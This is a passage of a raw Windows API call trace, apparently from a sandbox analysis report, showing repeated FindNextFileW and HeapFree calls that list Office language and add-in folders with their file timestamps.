ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0248.775] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.775] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0248.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.778] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0248.782] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.782] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0248.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0248.818] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0249.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.229] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0249.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.238] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0249.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.240] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0249.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.243] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0249.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.255] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0249.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.258] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0249.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.261] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0249.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.265] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0249.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.268] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0249.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.270] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0249.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.274] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0249.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.462] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0249.465] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.465] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0249.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.470] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0249.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.473] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0249.473] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0249.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0249.473] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0249.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.484] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0249.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.489] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0249.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.494] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0249.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.499] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0249.698] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.698] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0249.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.765] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0249.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.853] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0249.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.879] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0249.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.922] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0249.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0249.970] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0250.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.002] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0250.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.034] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0250.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.036] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0250.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.039] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0250.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.042] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0250.045] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.045] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0250.058] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.058] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0250.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.062] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0250.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.064] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0250.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 